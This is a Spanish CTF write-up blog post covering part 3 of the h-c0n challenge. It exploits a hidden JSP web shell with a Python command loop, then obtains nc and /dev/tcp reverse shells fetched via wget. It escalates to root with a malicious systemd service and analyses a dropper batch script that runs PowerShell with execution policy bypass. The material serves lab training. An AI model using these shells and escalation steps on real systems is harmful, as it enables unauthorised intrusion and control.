Power belongs to the people who take it

WriteUp CTF H-C0N 3/3 – HackPlayers & iHackLabs

Durante la semana pasada se ha jugado el CTF de la h-c0n el cual ha diseñado ihacklabs.
Durante estos días subiremos una serie de posts resolviendo los retos.
Solo queda agradecer a iHacklabs y Hackplayers por organizarlo, os recomiendo que participareis el año que viene!

  • Parte 1: https://ironhackers.es/writeups/writeup-ctf-h-c0n-1-3-hackplayers-ihacklabs/
  • https://ironhackers.es/writeups/writeup-ctf-h-c0n-2-3-hackplayers-ihacklabs/
  • Austrinus – Acceso Básico

    Como siempre, lo primero sera un escaneo de puertos con nmap:

    nmap -sC -sV 10.14.0.152


    Como veis podemos acceder al ftp anónimamente, vamos a ver si hay algún fichero que nos permita vulnerar el sistema:

    Como veis parece que el ftp está alojado en la misma dirección que el servidor web, además nos llama la atención el fichero oculto .cmd.jsp
    No nos deja descargarlo pero vamos a tratar de utilizarlo a través del navegador para ejecutar comandos. Nos da error, así para hacerlo funcionar vamos a fuzzear parámetros y usaremos GET y POST. Vamos a utilizar el Intruder de Burpsuite para esta labor:

    Como veis, podremos ejecutar comandos a través del .cmd.jsp haciendo POST requests con el parámetro cmd.
    Vamos a crearnos un pequeño script de python para agilizar este proceso:

    #!/usr/bin/python3
    import requests
    import re
    
    params = {'cmd':''}
    while 1:
    	command = input("> ")
    	params['cmd']=command
    	r = requests.post("http://10.14.0.152:8080/.cmd.jsp", data=params)
    	m = re.search('<BR>(.*?)</pre>',r.text,re.DOTALL)
    	print (m.group(1))
    

    Ejecutar la reversa directamente no funcionaba, así que vamos a subirnos un fichero y ejecutarlo.

    # En nuestra máquina
    echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.14.0.228 2214 >/tmp/f' > rev.sh
    http-server -p 80
    nc -lvp 2214
    
    # En el servidor, usando el python
    wget http://10.14.0.228/rev.sh -O /tmp/rev.sh
    chmod +x /tmp/rev.sh
    bash /tmp/rev.sh
    


    Ya podemos leer el flag.

    Austrinus – Acceso Admin

    Siguiendo cualquier guía de post-explotación, uno de los pasos es ver qué ficheros podemos ejecutar como otro usuario; para esto se utiliza el comando sudo -l

    Como veis, el usuario tomcat puede ejecutar como root el comando /sbin/shutdown
    Además vemos que dicho binario apunta a /bin/systemctl lo cual no es raro. Otro paso común, como vimos en la primera maquina de este ctf, es revisar los binarios con el bit Setuid activo:

    Como veis el binario /bin/systemctl se ejecutará como root, ¿se os ocurre algo?
    Tenemos permisos de escritura en /etc/systemd/system/ así que vamos crearnos un servicio malicioso que ejecute una shell reversa:
    mal.service:

    [Unit]
    Description=Mal Daemon
    
    [Service]
    ExecStart=/tmp/qwerty.sh
    
    [Install]
    WantedBy=multi-user.target
    

    qwerty.sh:

    #!/bin/bash
    bash -i >& /dev/tcp/10.14.0.231/8080 0>&1
    
    # En nuestra máquina:
    http-server -p 80
    nc -lvp 8080
    
    # En la máquina
    wget http://10.14.0.228/mal.service -O /etc/systemd/system/mal.service
    wget http://10.14.0.228/qwerty.sh -O /tmp/qwerty.sh
    chmod +x /tmp/qwerty.sh
    systemctl enable mal
    systemctl start mal
    


    Como veis ya somos root y acceder al reto de forense.

    Austrinus – Forense

    Enunciado: Necesitamos conocer la URL completa desde donde se produce la exfiltración.

    Se nos entrega el fichero acquired_evidence.dd
    Tratemos de ver qué tipo fichero se nos ha entregado:

    En el editor hexadecimal se ve que es un registro MFT (Master File Table)
    https://aprendizdesysadmin.com/analisis-forense-en-windows-sistema-de-archivos-ntfs/

    Vamos a tratar de extraer los ficheros usando la herramienta Mft2Csv
    Seleccionamos el fichero mediante ‘Choose $MFT’, marcamos ‘Extract Resident’ y le damos a ‘Start Processing’

    Tras la ejecución, obtenemos un montón de ficheros:

    Tras revisarlos, encontramos un fichero que parece interesante 27.bat :

    @echo off
    cd %temp%
    certutil -decodehex  1.txt 2.ps1
    powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "./2.ps1"
    del 2.ps1
    del 1.txt
    

    El script pasa de hexadecimal a ascii el contenido del fichero 1.txt y lo introduce en 2.ps1 para posteriormente ejecutarlo; vamos a buscar el fichero 1.txt y obtener su contenido:

    #hex2ascii.py
    f = open('[0x00000000][DEL]1.txt','r')
    print f.read().decode('hex')
    

    Como veis hemos obtenido una url que es la flag: http://201.27.34.21/uploader.php

    ¿Me ayudas a compatirlo?

    1 comentario

    1. Rebeca FM

      Me ha encantado. El contenido es de buenísima calidad. Muy recomendado 🙂

    Deja una respuesta

    Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

    Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.

    © 2024 ironHackers

    Tema por Anders NorenArriba ↑